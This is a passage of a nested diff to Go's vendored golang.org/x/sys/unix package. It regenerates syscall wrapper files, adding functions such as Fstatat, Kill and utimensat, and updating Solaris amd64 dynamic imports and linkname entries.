-@@ -682,8 +695,13 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -692,8 +710,8 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -702,8 +720,8 @@ func Fsync(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -712,15 +730,8 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -729,14 +740,6 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-- size = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getegid() (egid int) {
- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
-@@ -817,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -838,6 +852,16 @@ func Getsid(pid int) (sid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getuid() (uid int) {
- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
-@@ -847,13 +871,23 @@ func Getuid() (uid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Kill(pid int, signum syscall.Signal) (err error) {
-+ _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Kqueue() (fd int, err error) {
- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
- fd = int(r0)
-@@ -936,7 +970,7 @@ func Lstat(path string, stat *Stat_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -990,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1005,6 +1054,31 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1060,7 +1134,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1077,7 +1151,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1219,8 +1293,8 @@ func Rmdir(path string) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-- newoffset = int64(int64(r1)<<32 | int64(r0))
-+ r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
-+ newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1229,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1240,7 +1315,7 @@ func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,8 +1379,8 @@ func Setpriority(which int, who int, prio int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+func Setregid(rgid int, egid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1314,8 +1389,8 @@ func Setprivexec(flag int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1324,8 +1399,18 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+func Setresgid(rgid int, egid int, sgid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresuid(ruid int, euid int, suid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1344,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1381,7 +1476,7 @@ func Stat(path string, stat *Stat_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1396,7 +1491,7 @@ func Statfs(path string, stat *Statfs_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1461,7 +1556,7 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1478,21 +1573,6 @@ func Umask(newmask int) (oldmask int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Undelete(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1556,7 +1636,7 @@ func write(fd int, p []byte) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,10 +1678,13 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-- sec = int32(r0)
-- usec = int32(r1)
-+func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-index 4287133d..a96165d4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall_solaris.pl -tags solaris,amd64 syscall_solaris.go syscall_solaris_amd64.go
-+// go run mksyscall_solaris.go -tags solaris,amd64 syscall_solaris.go syscall_solaris_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build solaris,amd64
-@@ -25,7 +25,11 @@ import (
- //go:cgo_import_dynamic libc___xnet_recvmsg __xnet_recvmsg "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_sendmsg __xnet_sendmsg "libsocket.so"
- //go:cgo_import_dynamic libc_acct acct "libc.so"
-+//go:cgo_import_dynamic libc___makedev __makedev "libc.so"
-+//go:cgo_import_dynamic libc___major __major "libc.so"
-+//go:cgo_import_dynamic libc___minor __minor "libc.so"
- //go:cgo_import_dynamic libc_ioctl ioctl "libc.so"
-+//go:cgo_import_dynamic libc_poll poll "libc.so"
- //go:cgo_import_dynamic libc_access access "libc.so"
- //go:cgo_import_dynamic libc_adjtime adjtime "libc.so"
- //go:cgo_import_dynamic libc_chdir chdir "libc.so"
-@@ -37,6 +41,7 @@ import (
- //go:cgo_import_dynamic libc_dup dup "libc.so"
- //go:cgo_import_dynamic libc_dup2 dup2 "libc.so"
- //go:cgo_import_dynamic libc_exit exit "libc.so"
-+//go:cgo_import_dynamic libc_faccessat faccessat "libc.so"
- //go:cgo_import_dynamic libc_fchdir fchdir "libc.so"
- //go:cgo_import_dynamic libc_fchmod fchmod "libc.so"
- //go:cgo_import_dynamic libc_fchmodat fchmodat "libc.so"
-@@ -46,6 +51,7 @@ import (
- //go:cgo_import_dynamic libc_flock flock "libc.so"
- //go:cgo_import_dynamic libc_fpathconf fpathconf "libc.so"
- //go:cgo_import_dynamic libc_fstat fstat "libc.so"
-+//go:cgo_import_dynamic libc_fstatat fstatat "libc.so"
- //go:cgo_import_dynamic libc_fstatvfs fstatvfs "libc.so"
- //go:cgo_import_dynamic libc_getdents getdents "libc.so"
- //go:cgo_import_dynamic libc_getgid getgid "libc.so"
-@@ -75,6 +81,7 @@ import (
- //go:cgo_import_dynamic libc_mlock mlock "libc.so"
- //go:cgo_import_dynamic libc_mlockall mlockall "libc.so"
- //go:cgo_import_dynamic libc_mprotect mprotect "libc.so"
-+//go:cgo_import_dynamic libc_msync msync "libc.so"
- //go:cgo_import_dynamic libc_munlock munlock "libc.so"
- //go:cgo_import_dynamic libc_munlockall munlockall "libc.so"
- //go:cgo_import_dynamic libc_nanosleep nanosleep "libc.so"
-@@ -90,6 +97,7 @@ import (
- //go:cgo_import_dynamic libc_renameat renameat "libc.so"
- //go:cgo_import_dynamic libc_rmdir rmdir "libc.so"
- //go:cgo_import_dynamic libc_lseek lseek "libc.so"
-+//go:cgo_import_dynamic libc_select select "libc.so"
- //go:cgo_import_dynamic libc_setegid setegid "libc.so"
- //go:cgo_import_dynamic libc_seteuid seteuid "libc.so"
- //go:cgo_import_dynamic libc_setgid setgid "libc.so"
-@@ -121,6 +129,7 @@ import (
- //go:cgo_import_dynamic libc___xnet_connect __xnet_connect "libsocket.so"
- //go:cgo_import_dynamic libc_mmap mmap "libc.so"
- //go:cgo_import_dynamic libc_munmap munmap "libc.so"
-+//go:cgo_import_dynamic libc_sendfile sendfile "libsendfile.so"
- //go:cgo_import_dynamic libc___xnet_sendto __xnet_sendto "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_socket __xnet_socket "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_socketpair __xnet_socketpair "libsocket.so"
-@@ -129,7 +138,6 @@ import (
- //go:cgo_import_dynamic libc_getpeername getpeername "libsocket.so"
- //go:cgo_import_dynamic libc_setsockopt setsockopt "libsocket.so"
- //go:cgo_import_dynamic libc_recvfrom recvfrom "libsocket.so"
--//go:cgo_import_dynamic libc_sysconf sysconf "libc.so"
-
- //go:linkname procpipe libc_pipe
- //go:linkname procgetsockname libc_getsockname
-@@ -146,7 +154,11 @@ import (
- //go:linkname proc__xnet_recvmsg libc___xnet_recvmsg
- //go:linkname proc__xnet_sendmsg libc___xnet_sendmsg
- //go:linkname procacct libc_acct
-+//go:linkname proc__makedev libc___makedev
-+//go:linkname proc__major libc___major
-+//go:linkname proc__minor libc___minor
- //go:linkname procioctl libc_ioctl
-+//go:linkname procpoll libc_poll
- //go:linkname procAccess libc_access
- //go:linkname procAdjtime libc_adjtime
- //go:linkname procChdir libc_chdir
-@@ -158,6 +170,7 @@ import (
- //go:linkname procDup libc_dup
- //go:linkname procDup2 libc_dup2
- //go:linkname procExit libc_exit
-+//go:linkname procFaccessat libc_faccessat
- //go:linkname procFchdir libc_fchdir
- //go:linkname procFchmod libc_fchmod
- //go:linkname procFchmodat libc_fchmodat
-@@ -167,6 +180,7 @@ import (
- //go:linkname procFlock libc_flock
- //go:linkname procFpathconf libc_fpathconf
- //go:linkname procFstat libc_fstat
-+//go:linkname procFstatat libc_fstatat
- //go:linkname procFstatvfs libc_fstatvfs
- //go:linkname procGetdents libc_getdents
- //go:linkname procGetgid libc_getgid
-@@ -196,6 +210,7 @@ import (
- //go:linkname procMlock libc_mlock
- //go:linkname procMlockall libc_mlockall
- //go:linkname procMprotect libc_mprotect
-+//go:linkname procMsync libc_msync
- //go:linkname procMunlock libc_munlock
- //go:linkname procMunlockall libc_munlockall
- //go:linkname procNanosleep libc_nanosleep
-@@ -211,6 +226,7 @@ import (
- //go:linkname procRenameat libc_renameat
- //go:linkname procRmdir libc_rmdir
- //go:linkname proclseek libc_lseek
-+//go:linkname procSelect libc_select
- //go:linkname procSetegid libc_setegid
- //go:linkname procSeteuid libc_seteuid
- //go:linkname procSetgid libc_setgid
-@@ -242,6 +258,7 @@ import (
- //go:linkname proc__xnet_connect libc___xnet_connect
- //go:linkname procmmap libc_mmap
- //go:linkname procmunmap libc_munmap
-+//go:linkname procsendfile libc_sendfile
- //go:linkname proc__xnet_sendto libc___xnet_sendto
- //go:linkname proc__xnet_socket libc___xnet_socket
- //go:linkname proc__xnet_socketpair libc___xnet_socketpair
-@@ -250,7 +267,6 @@ import (
- //go:linkname procgetpeername libc_getpeername
- //go:linkname procsetsockopt libc_setsockopt
- //go:linkname procrecvfrom libc_recvfrom
--//go:linkname procsysconf libc_sysconf
-
- var (
- procpipe,
-@@ -268,7 +284,11 @@ var (
- proc__xnet_recvmsg,
- proc__xnet_sendmsg,
- procacct,
-+ proc__makedev,
-+ proc__major,
-+ proc__minor,
- procioctl,
-+ procpoll,
- procAccess,
- procAdjtime,
- procChdir,
-@@ -280,6 +300,7 @@ var (
- procDup,
- procDup2,
- procExit,
-+ procFaccessat,
- procFchdir,
- procFchmod,
- procFchmodat,
-@@ -289,6 +310,7 @@ var (
- procFlock,
- procFpathconf,
- procFstat,
-+ procFstatat,
- procFstatvfs,
- procGetdents,
- procGetgid,
-@@ -318,6 +340,7 @@ var (
- procMlock,
- procMlockall,
- procMprotect,
-+ procMsync,
- procMunlock,
- procMunlockall,
- procNanosleep,
-@@ -333,6 +356,7 @@ var (
- procRenameat,
- procRmdir,
- proclseek,
-+ procSelect,
- procSetegid,
- procSeteuid,
- procSetgid,
-@@ -364,6 +388,7 @@ var (
- proc__xnet_connect,
- procmmap,
- procmunmap,
-+ procsendfile,
- proc__xnet_sendto,
- proc__xnet_socket,
- proc__xnet_socketpair,
-@@ -371,10 +396,11 @@ var (
- proc__xnet_getsockopt,
- procgetpeername,
- procsetsockopt,
-- procrecvfrom,
-- procsysconf syscallFunc
-+ procrecvfrom syscallFunc
- )
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func pipe(p *[2]_C_int) (n int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procpipe)), 1, uintptr(unsafe.Pointer(p)), 0, 0, 0, 0, 0)
- n = int(r0)
-@@ -384,6 +410,8 @@ func pipe(p *[2]_C_int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procgetsockname)), 3, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e1 != 0 {
-@@ -392,6 +420,8 @@ func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getcwd(buf []byte) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -405,6 +435,8 @@ func Getcwd(buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procgetgroups)), 2, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0, 0, 0, 0)
- n = int(r0)
-@@ -414,6 +446,8 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func setgroups(ngid int, gid *_Gid_t) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procsetgroups)), 2, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -422,6 +456,8 @@ func setgroups(ngid int, gid *_Gid_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func wait4(pid int32, statusp *_C_int, options int, rusage *Rusage) (wpid int32, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procwait4)), 4, uintptr(pid), uintptr(unsafe.Pointer(statusp)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int32(r0)
-@@ -431,6 +467,8 @@ func wait4(pid int32, statusp *_C_int, options int, rusage *Rusage) (wpid int32,
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gethostname(buf []byte) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -444,6 +482,8 @@ func gethostname(buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func utimes(path string, times *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -457,6 +497,8 @@ func utimes(path string, times *[2]Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func utimensat(fd int, path string, times *[2]Timespec, flag int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -470,6 +512,8 @@ func utimensat(fd int, path string, times *[2]Timespec, flag int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func fcntl(fd int, cmd int, arg int) (val int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(arg), 0, 0, 0)
- val = int(r0)
-@@ -479,6 +523,8 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func futimesat(fildes int, path *byte, times *[2]Timeval) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfutimesat)), 3, uintptr(fildes), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)), 0, 0, 0)
- if e1 != 0 {
-@@ -487,6 +533,8 @@ func futimesat(fildes int, path *byte, times *[2]Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procaccept)), 3, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- fd = int(r0)
-@@ -496,6 +544,8 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
